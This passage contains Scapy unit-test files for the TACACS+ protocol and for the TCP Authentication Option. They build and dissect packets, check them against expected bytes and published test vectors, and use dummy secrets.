b'E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xfcp\\x00\\x00\\xc0\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05S\\x0e\\x9f\\xe6\\xe1'\n\n= default values build\n\npkt = TacacsAuthenticationContinue()\nTacacsAuthenticationContinue in pkt and pkt.data == b'' and pkt.user_msg == b'' and pkt.data_len is None and pkt.user_msg_len is None\n\n= filled values build -- SSH connection sample secret = test, password = pass\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=3, flags=0, session_id=2424164486, length=9)/TacacsAuthenticationContinue(flags=0, user_msg_len=4, data_len=0, user_msg='pass')\nraw(pkt) == b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x06|\\xb8\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00u\\xfa\\x00\\x00\\xc0\\x01\\x03\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\t\\xec8\\xc1\\x8d\\xcc\\xec(\\xacT'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00A\\x00\\x01\\x00\\x00@\\x06|\\xb4\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xb5\\xfd\\x00\\x00\\xc0\\x01\\x03\\x00\\x90}\\xd0\\x86\\x00\\x00\\x00\\r\\xec4\\xc1\\x8d\\xcc\\xec(\\xacT\\xd2k&T')\npkt.user_msg == b'password'\n\n+ Tacacs+ Authorization Request\n\n= default instantiation\n\npkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationRequest()\nraw(pkt) == b'E\\x00\\x00<\\x00\\x01\\x00\\x00@\\x06|\\xb9\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xcd\\xdb\\x00\\x00\\xc0\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08S\\x0f\\x9e\\xe7\\xe0\\xd1/\\x9c'\n\n= default values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader(type=2)/TacacsAuthorizationRequest()\nTacacsAuthorizationRequest in pkt and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 \n\n= filled values build -- SSH connection sample secret = test\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=2 , flags=0, session_id=135252, length=47)/TacacsAuthorizationRequest(authen_method=6, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=2, arg_len_list=[13, 4], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='service=shell')/TacacsPacketArguments(data='cmd*')\nraw(pkt) == b'E\\x00\\x00c\\x00\\x01\\x00\\x00@\\x06|\\x92\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xb28\\x00\\x00\\xc0\\x02\\x01\\x00\\x00\\x02\\x10T\\x00\\x00\\x00/\\xdd\\xe0\\xe8\\xea\\xba\\xca$Y\\xf7\\x00\\xc2Hh\\xed\\x03\\x1eK84\\x10\\xb9h\\xd7@\\x0e\\xd5\\x13\\xf0\\xfaA\\xfa\\xbe;\\x01\\x82\\xecl\\xf9\\xc6\\xa0Z6\\x98j\\xfd\\\\9'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00c\\x00\\x01\\x00\\x00@\\x06|\\x92\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xc2D\\x00\\x00\\xc0\\x02\\x01\\x00R\\xf2\\x0e\\xf4\\x00\\x00\\x00/\\xe6\\x01\\x03 \\xd7\\xa9\\x91\\x7fv\\xf2\\x15-\\x88a\\xac$\\x14\\x9f\\xc0\\xbb\\xb8a\\xe0\\x86e\\xf9\\xd9\\xa2\\xc4\\xe7\\x0bRI\\xc8\\xdd\\x97\\xd5\\x80\\xcf\\xce\\x81*\"\\xbc\\x15E\\x95')\npkt.port == b'tty9'\n\n+ Tacacs+ Authorization Reply\n\n= default instantiation\n\npkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationReply()\nraw(pkt) == b'E\\x00\\x00:\\x00\\x01\\x00\\x00@\\x06|\\xbb\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xfc}\\x00\\x00\\xc0\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06S\\x0e\\x9f\\xe6\\xe0\\xd1'\n\n= default values build\n\npkt = TacacsHeader()/TacacsAuthorizationReply()\nTacacsAuthorizationReply in pkt and pkt.status == 0  and pkt.arg_cnt is None and pkt.data_len is None\n\n= filled values build -- SSH connection sample secret = test\n\npkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=2 , flags=0, session_id=1391595252, length=20)/TacacsAuthorizationReply(status=1, arg_cnt=2, server_msg_len=0, data_len=0, arg_len_list=[11, 1])/TacacsPacketArguments(data='priv-lvl=15')/TacacsPacketArguments(data='a')\nraw(pkt) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x06|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00|G\\x00\\x00\\xc0\\x02\\x02\\x00R\\xf2\\x0e\\xf4\\x00\\x00\\x00\\x14\\xce^Xp~Z\\x9b^\\xd8Y\\xc9\"\\xf5\\xb0&\\xe5Ji\\xa8\\x15'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x06|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00|G\\x00\\x00\\xc0\\x02\\x02\\x00R\\xf2\\x0e\\xf4\\x00\\x00\\x00\\x14\\xce^Xp~Z\\x9b^\\xd8Y\\xc9\"\\xf5\\xb0&\\xe5Ji\\xa8\\x15')\npkt.status == 1\n\n+ Tacacs+ Accounting Request\n\n= default instantiation\n\npkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest()\nraw(pkt) == b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x06|\\xb8\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xb3\\xd9\\x00\\x00\\xc0\\x03\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\tS\\x0e\\x9e\\xe7\\xe1\\xd1/\\x9c\\x19'\n\n= default value build\n\npkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest()\nTacacsAccountingRequest in pkt and pkt.authen_method == 0 and pkt.priv_lvl == 1 and pkt.authen_type == 1\n\n= filled values build -- SSH connection sample secret = test\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=3 , flags=0, session_id=3059434316, length=67)/TacacsAccountingRequest(flags=2, authen_method=6, priv_lvl=15, authen_type=1, authen_service=1, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=3, arg_len_list=[10, 12, 13], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='task_id=24')/TacacsPacketArguments(data='timezone=CET')/TacacsPacketArguments(data='service=shell')\nraw(pkt) == b'E\\x00\\x00w\\x00\\x01\\x00\\x00@\\x06|~\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00sk\\x00\\x00\\xc0\\x03\\x01\\x00\\xb6[CL\\x00\\x00\\x00C\\x1d\\xfb\\x81\\xd52\\xfb\\x06\\x8b\\t\\xb9\\x0c87\\xd3 i\\x05\\xb5|\\x9f\\x01l\\xbf/\\xd3\\rc\\x0f\\nDr\\xc0\\xc9.\\x88@*(S\\xfeA\\xd4\\x19wFj=\\xc3\\x9f\\x00!D\\xbe$E\\x04\\x0e\\xe75\\x99\\xd6\\r\\x0f\\x16\\xc7\\x1d\\xc2'\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00w\\x00\\x01\\x00\\x00@\\x06|~\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00|j\\x00\\x00\\xc0\\x03\\x01\\x00\\xb6[CL\\x00\\x00\\x00C\\x1d\\xfb\\x81\\xd52\\xfb\\x06\\x8b\\t\\xb9\\x0c87\\xd3 i\\x05\\xb5|\\x9f\\x01l\\xb1/\\xd3\\rc\\x0f\\nDr\\xc0\\xc9.\\x88@*(S\\xfeF\\xd5\\x19wFj=\\xc3\\x9f\\x00!D\\xbe$E\\x04\\x0e\\xe75\\x99\\xd6\\r\\x0f\\x16\\xc7\\x1d\\xc2')\npkt.rem_addr == b'192.10.10.1'\n\n+ Tacacs+ Accounting Reply\n\n= default instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply()\nraw(pkt) == b'E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00,\\x07\\x00\\x00\\xc0\\x03\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05B\\xd2A\\x8b\\x1f'\n\n= default values build\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply()\nTacacsAccountingReply in pkt and pkt.server_msg == b'' and pkt.server_msg_len is None and pkt.status is None\n\n= filled values build  -- SSH connection sample secret = test\n\npkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3 , flags=0, session_id=3059434316, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0)\nraw(pkt) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xc5\\x7f\\x00\\x00\\xc0\\x03\\x02\\x00\\xb6[CL\\x00\\x00\\x00\\x05\\xf4\\x0f\\xad,o'\n\n= dissection\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xc5\\x7f\\x00\\x00\\xc0\\x03\\x02\\x00\\xb6[CL\\x00\\x00\\x00\\x05\\xf4\\x0f\\xad,o')\npkt.status == 1\n\n+ Changing secret to foobar\n\n= instantiation\n\nscapy.contrib.tacacs.SECRET = 'foobar'\npkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(session_id=441255181, type=3, seq=2, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0)\nraw(pkt) == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00/,\\x00\\x00\\xc0\\x03\\x02\\x00\\x1aM\\x05\\r\\x00\\x00\\x00\\x05S)\\x9b\\xb4\\x92'\n\n= dissection\n\nscapy.contrib.tacacs.SECRET = 'foobar'\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x009\\x00\\x01\\x00\\x00@\\x06|\\xbc\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00/,\\x00\\x00\\xc0\\x03\\x02\\x00\\x1aM\\x05\\r\\x00\\x00\\x00\\x05S)\\x9b\\xb4\\x92')\npkt.status == 1\n\n+ Unencrypted Authentication\n\n= instantiation\n\npkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=1, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1')\nraw(pkt) == b\"E\\x00\\x00P\\x00\\x01\\x00\\x00@\\x06|\\xa5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00sG\\x00\\x00\\xc0\\x01\\x01\\x01\\x90}\\xd0\\x86\\x00\\x00\\x00\\x1c\\x01\\x01\\x01\\x01\\x05\\x04\\x0b\\x00scapytty2172.10.10.1\"\n\n= dissection\n\npkt = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00P\\x00\\x01\\x00\\x00@\\x06|\\xa5\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00sG\\x00\\x00\\xc0\\x01\\x01\\x01\\x90}\\xd0\\x86\\x00\\x00\\x00\\x1c\\x01\\x01\\x01\\x01\\x05\\x04\\x0b\\x00scapytty2172.10.10.1')\npkt.user == b'scapy' and pkt.port == b'tty2'\n"
  },
  {
    "path": "test/contrib/tcpao.uts",
    "content": "% Tests for RFC5925 TCP Authentication Option (TCP-AO)\n~ tcp tcpao\n# Some data from https://datatracker.ietf.org/doc/html/draft-touch-tcpm-ao-test-vectors-02\n\n+ Test Utilities\n= Test Utilities\n\n# Tolerate all whitespace like py37+ bytes.fromhex\ndef fromhex(hex):\n    return bytes(bytearray.fromhex(hex.replace(\" \", \"\").replace(\"\\n\", \"\")))\n\n+ TCP-AO Test Vectors\n= TCP-AO Test Vectors Utilities\nfrom scapy.contrib import tcpao\nmaster_key = b\"testvector\"\nclient_keyid = 61\nserver_keyid = 84\n\ndef check(\n        packet_hex,\n        traffic_key_hex,\n        mac_hex,\n        src_isn,\n        dst_isn,\n        include_options=True,\n        alg_name=\"HMAC-SHA-1-96\",\n        sne=0,\n    ):\n        packet_bytes = fromhex(packet_hex)\n        # sanity check for ip version\n        ipv = orb(packet_bytes[0]) >> 4\n        if ipv == 4:\n            p = IP(fromhex(packet_hex))\n            assert p[IP].proto == socket.IPPROTO_TCP\n        elif ipv == 6:\n            p = IPv6(fromhex(packet_hex))\n            assert p[IPv6].nh == socket.IPPROTO_TCP\n        else:\n            raise ValueError(\"bad ipv={}\".format(ipv))\n        # sanity check for seq/ack in SYN/ACK packets\n        if p[TCP].flags.S and p[TCP].flags.A is False:\n            assert p[TCP].seq == src_isn\n            assert p[TCP].ack == 0\n        if p[TCP].flags.S and p[TCP].flags.A:\n            assert p[TCP].seq == src_isn\n            assert p[TCP].ack == dst_isn + 1\n        # check option bytes in header\n        opt = get_tcpao(p[TCP])\n        assert opt is not None\n        assert opt.keyid in [client_keyid, server_keyid]\n        assert opt.rnextkeyid in [client_keyid, server_keyid]\n        assert opt.mac == fromhex(mac_hex), \"match parsed mac\"\n        # check traffic key\n        alg = get_alg(alg_name)\n        context_bytes = tcpao.build_context_from_packet(p, src_isn, dst_isn)\n        traffic_key = alg.kdf(master_key, context_bytes)\n        assert traffic_key == fromhex(traffic_key_hex), \"match traffic key\"\n        # check mac\n        message_bytes = tcpao.build_message_from_packet(\n            p, include_options=include_options, sne=sne\n        )\n        mac = alg.mac(traffic_key, message_bytes)\n        assert mac == fromhex(mac_hex), \"match computed mac\"\n\n= TCP-AO Test Vector 4.1.1: SHA-1 Send Syn\nclient_isn_41x = 0xFBFBAB5A\nserver_isn_41x = 0x11C14261\n\ncheck(\n    \"\"\"\n    45 e0 00 4c dd 0f 40 00 ff 06 bf 6b 0a 0b 0c 0d\n    ac 1b 1c 1d e9 d7 00 b3 fb fb ab 5a 00 00 00 00\n    e0 02 ff ff ca c4 00 00 02 04 05 b4 01 03 03 08\n    04 02 08 0a 00 15 5a b7 00 00 00 00 1d 10 3d 54\n    2e e4 37 c6 f8 ed e6 d7 c4 d6 02 e7\n    \"\"\",\n    \"6d 63 ef 1b 02 fe 15 09 d4 b1 40 27 07 fd 7b 04 16 ab b7 4f\",\n    \"2e e4 37 c6 f8 ed e6 d7 c4 d6 02 e7\",\n    client_isn_41x,\n    0,\n)\n\n= TCP-AO Test Vector 4.1.2 SHA-1 Recv Syn-Ack\ncheck(\n    \"\"\"\n    45 e0 00 4c 65 06 40 00 ff 06 37 75 ac 1b 1c 1d\n    0a 0b 0c 0d 00 b3 e9 d7 11 c1 42 61 fb fb ab 5b\n    e0 12 ff ff 37 76 00 00 02 04 05 b4 01 03 03 08\n    04 02 08 0a 84 a5 0b eb 00 15 5a b7 1d 10 54 3d\n    ee ab 0f e2 4c 30 10 81 51 16 b3 be\n    \"\"\",\n    \"d9 e2 17 e4 83 4a 80 ca 2f 3f d8 de 2e 41 b8 e6 79 7f ea 96\",\n    \"ee ab 0f e2 4c 30 10 81 51 16 b3 be\",\n    server_isn_41x,\n    client_isn_41x,\n)\n\n= TCP-AO Test Vector 4.1.3 SHA-1 Send Other\ncheck(\n    \"\"\"\n    45 e0 00 87 36 a1 40 00 ff 06 65 9f 0a 0b 0c 0d\n    ac 1b 1c 1d e9 d7 00 b3 fb fb ab 5b 11 c1 42 62\n    c0 18 01 04 a1 62 00 00 01 01 08 0a 00 15 5a c1\n    84 a5 0b eb 1d 10 3d 54 70 64 cf 99 8c c6 c3 15\n    c2 c2 e2 bf ff ff ff ff ff ff ff ff ff ff ff ff\n    ff ff ff ff 00 43 01 04 da bf 00 b4 0a 0b 0c 0d\n    26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02\n    00 02 02 42 00 02 06 41 04 00 00 da bf 02 08 40\n    06 00 64 00 01 01 00\n    \"\"\",\n    \"d2 e5 9c 65 ff c7 b1 a3 93 47 65 64 63 b7 0e dc 24 a1 3d 71\",\n    \"70 64 cf 99 8c c6 c3 15 c2 c2 e2 bf\",\n    client_isn_41x,\n    server_isn_41x,\n)\n\n= TCP-AO Test Vector 4.1.4 SHA-1 Recv Other\ncheck(\n    \"\"\"\n    45 e0 00 87 1f a9 40 00 ff 06 7c 97 ac 1b 1c 1d\n    0a 0b 0c 0d 00 b3 e9 d7 11 c1 42 62 fb fb ab 9e\n    c0 18 01 00 40 0c 00 00 01 01 08 0a 84 a5 0b f5\n    00 15 5a c1 1d 10 54 3d a6 3f 0e cb bb 2e 63 5c\n    95 4d ea c7 ff ff ff ff ff ff ff ff ff ff ff ff\n    ff ff ff ff 00 43 01 04 da c0 00 b4 ac 1b 1c 1d\n    26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02\n    00 02 02 42 00 02 06 41 04 00 00 da c0 02 08 40\n    06 00 64 00 01 01 00\n    \"\"\",\n    \"d9 e2 17 e4 83 4a 80 ca 2f 3f d8 de 2e 41 b8 e6 79 7f ea 96\",\n    \"a6 3f 0e cb bb 2e 63 5c 95 4d ea c7\",\n    server_isn_41x,\n    client_isn_41x,\n)\n\n= TCP-AO Test Vector 4.2.1\nclient_isn_42x = 0xCB0EFBEE\nserver_isn_42x = 0xACD5B5E1\ncheck(\n    \"\"\"\n    45 e0 00 4c 53 99 40 00 ff 06 48 e2 0a 0b 0c 0d\n    ac 1b 1c 1d ff 12 00 b3 cb 0e fb ee 00 00 00 00\n    e0 02 ff ff 54 1f 00 00 02 04 05 b4 01 03 03 08\n    04 02 08 0a 00 02 4c ce 00 00 00 00 1d 10 3d 54\n    80 af 3c fe b8 53 68 93 7b 8f 9e c2\n    \"\"\",\n    \"30 ea a1 56 0c f0 be 57 da b5 c0 45 22 9f b1 0a 42 3c d7 ea\",\n    \"80 af 3c fe b8 53 68 93 7b 8f 9e c2\",\n    client_isn_42x,\n    0,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 4.2.2\ncheck(\n    \"\"\"\n    45 e0 00 4c 32 84 40 00 ff 06 69 f7 ac 1b 1c 1d\n    0a 0b 0c 0d 00 b3 ff 12 ac d5 b5 e1 cb 0e fb ef\n    e0 12 ff ff 38 8e 00 00 02 04 05 b4 01 03 03 08\n    04 02 08 0a 57 67 72 f3 00 02 4c ce 1d 10 54 3d\n    09 30 6f 9a ce a6 3a 8c 68 cb 9a 70\n    \"\"\",\n    \"b5 b2 89 6b b3 66 4e 81 76 b0 ed c6 e7 99 52 41 01 a8 30 7f\",\n    \"09 30 6f 9a ce a6 3a 8c 68 cb 9a 70\",\n    server_isn_42x,\n    client_isn_42x,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 4.2.3\ncheck(\n    \"\"\"\n    45 e0 00 87 a8 f5 40 00 ff 06 f3 4a 0a 0b 0c 0d\n    ac 1b 1c 1d ff 12 00 b3 cb 0e fb ef ac d5 b5 e2\n    c0 18 01 04 6c 45 00 00 01 01 08 0a 00 02 4c ce\n    57 67 72 f3 1d 10 3d 54 71 06 08 cc 69 6c 03 a2\n    71 c9 3a a5 ff ff ff ff ff ff ff ff ff ff ff ff\n    ff ff ff ff 00 43 01 04 da bf 00 b4 0a 0b 0c 0d\n    26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02\n    00 02 02 42 00 02 06 41 04 00 00 da bf 02 08 40\n    06 00 64 00 01 01 00\n    \"\"\",\n    \"f3 db 17 93 d7 91 0e cd 80 6c 34 f1 55 ea 1f 00 34 59 53 e3\",\n    \"71 06 08 cc 69 6c 03 a2 71 c9 3a a5\",\n    client_isn_42x,\n    server_isn_42x,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 4.2.4\ncheck(\n    \"\"\"\n    45 e0 00 87 54 37 40 00 ff 06 48 09 ac 1b 1c 1d\n    0a 0b 0c 0d 00 b3 ff 12 ac d5 b5 e2 cb 0e fc 32\n    c0 18 01 00 46 b6 00 00 01 01 08 0a 57 67 72 f3\n    00 02 4c ce 1d 10 54 3d 97 76 6e 48 ac 26 2d e9\n    ae 61 b4 f9 ff ff ff ff ff ff ff ff ff ff ff ff\n    ff ff ff ff 00 43 01 04 da c0 00 b4 ac 1b 1c 1d\n    26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02\n    00 02 02 42 00 02 06 41 04 00 00 da c0 02 08 40\n    06 00 64 00 01 01 00\n    \"\"\",\n    \"b5 b2 89 6b b3 66 4e 81 76 b0 ed c6 e7 99 52 41 01 a8 30 7f\",\n    \"97 76 6e 48 ac 26 2d e9 ae 61 b4 f9\",\n    server_isn_42x,\n    client_isn_42x,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 5.1.1\ncheck(\n    \"\"\"\n    45 e0 00 4c 7b 9f 40 00 ff 06 20 dc 0a 0b 0c 0d\n    ac 1b 1c 1d c4 fa 00 b3 78 7a 1d df 00 00 00 00\n    e0 02 ff ff 5a 0f 00 00 02 04 05 b4 01 03 03 08\n    04 02 08 0a 00 01 7e d0 00 00 00 00 1d 10 3d 54\n    e4 77 e9 9c 80 40 76 54 98 e5 50 91\n    \"\"\",\n    \"f5 b8 b3 d5 f3 4f db b6 eb 8d 4a b9 66 0e 60 e3\",\n    \"e4 77 e9 9c 80 40 76 54 98 e5 50 91\",\n    0x787A1DDF,\n    0,\n    include_options=True,\n    alg_name=\"AES-128-CMAC-96\",\n)\n\n= TCP-AO Test Vector 6.1.1\nclient_isn_61x = 0x176A833F\nserver_isn_61x = 0x3F51994B\ncheck(\n    \"\"\"\n    6e 08 91 dc 00 38 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 f7 e4 00 b3 17 6a 83 3f\n    00 00 00 00 e0 02 ff ff 47 21 00 00 02 04 05 a0\n    01 03 03 08 04 02 08 0a 00 41 d0 87 00 00 00 00\n    1d 10 3d 54 90 33 ec 3d 73 34 b6 4c 5e dd 03 9f\n    \"\"\",\n    \"62 5e c0 9d 57 58 36 ed c9 b6 42 84 18 bb f0 69 89 a3 61 bb\",\n    \"90 33 ec 3d 73 34 b6 4c 5e dd 03 9f\",\n    client_isn_61x,\n    0,\n    include_options=True,\n)\n\n= TCP-AO Test Vector 6.1.2\ncheck(\n    \"\"\"\n    6e 01 00 9e 00 38 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 00 b3 f7 e4 3f 51 99 4b\n    17 6a 83 40 e0 12 ff ff bf ec 00 00 02 04 05 a0\n    01 03 03 08 04 02 08 0a bd 33 12 9b 00 41 d0 87\n    1d 10 54 3d f1 cb a3 46 c3 52 61 63 f7 1f 1f 55\n    \"\"\",\n    \"e4 a3 7a da 2a 0a fc a8 71 14 34 91 3f e1 38 c7 71 eb cb 4a\",\n    \"f1 cb a3 46 c3 52 61 63 f7 1f 1f 55\",\n    server_isn_61x,\n    client_isn_61x,\n    include_options=True,\n)\n\n= TCP-AO Test Vector 6.2.2\nclient_isn_62x = 0x020C1E69\nserver_isn_62x = 0xEBA3734D\ncheck(\n    \"\"\"\n    6e 0a 7e 1f 00 38 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 00 b3 c6 cd eb a3 73 4d\n    02 0c 1e 6a e0 12 ff ff 77 4d 00 00 02 04 05 a0\n    01 03 03 08 04 02 08 0a 5e c9 9b 70 00 9d b9 5b\n    1d 10 54 3d 3c 54 6b ad 97 43 f1 2d f8 b8 01 0d\n    \"\"\",\n    \"40 51 08 94 7f 99 65 75 e7 bd bc 26 d4 02 16 a2 c7 fa 91 bd\",\n    \"3c 54 6b ad 97 43 f1 2d f8 b8 01 0d\",\n    server_isn_62x,\n    client_isn_62x,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 6.2.4\ncheck(\n    \"\"\"\n    6e 0a 7e 1f 00 73 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 00 b3 c6 cd eb a3 73 4e\n    02 0c 1e ad c0 18 01 00 71 6a 00 00 01 01 08 0a\n    5e c9 9b 7a 00 9d b9 65 1d 10 54 3d 55 9a 81 94\n    45 b4 fd e9 8d 9e 13 17 ff ff ff ff ff ff ff ff\n    ff ff ff ff ff ff ff ff 00 43 01 04 fd e8 00 b4\n    01 01 01 7a 26 02 06 01 04 00 01 00 01 02 02 80\n    00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 fd\n    e8 02 08 40 06 00 64 00 01 01 00\n    \"\"\",\n    \"40 51 08 94 7f 99 65 75 e7 bd bc 26 d4 02 16 a2 c7 fa 91 bd\",\n    \"55 9a 81 94 45 b4 fd e9 8d 9e 13 17\",\n    server_isn_62x,\n    client_isn_62x,\n    include_options=False,\n)\n\n= TCP-AO Test Vector 7.1.2\nserver_isn_71x = 0xA6744ECB\nclient_isn_71x = 0x193CCCEC\ncheck(\n    \"\"\"\n    6e 06 15 20 00 38 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 00 b3 f8 5a a6 74 4e cb\n    19 3c cc ed e0 12 ff ff ea bb 00 00 02 04 05 a0\n    01 03 03 08 04 02 08 0a 71 da ab c8 13 e4 ab 99\n    1d 10 54 3d dc 28 43 a8 4e 78 a6 bc fd c5 ed 80\n    \"\"\",\n    \"cf 1b 1e 22 5e 06 a6 36 16 76 4a 06 7b 46 f4 b1\",\n    \"dc 28 43 a8 4e 78 a6 bc fd c5 ed 80\",\n    server_isn_71x,\n    client_isn_71x,\n    alg_name=\"AES-128-CMAC-96\",\n    include_options=True,\n)\n\n= TCP-AO Test Vector 7.1.4\ncheck(\n    \"\"\"\n    6e 06 15 20 00 73 06 40 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00\n    00 00 00 00 00 00 00 01 00 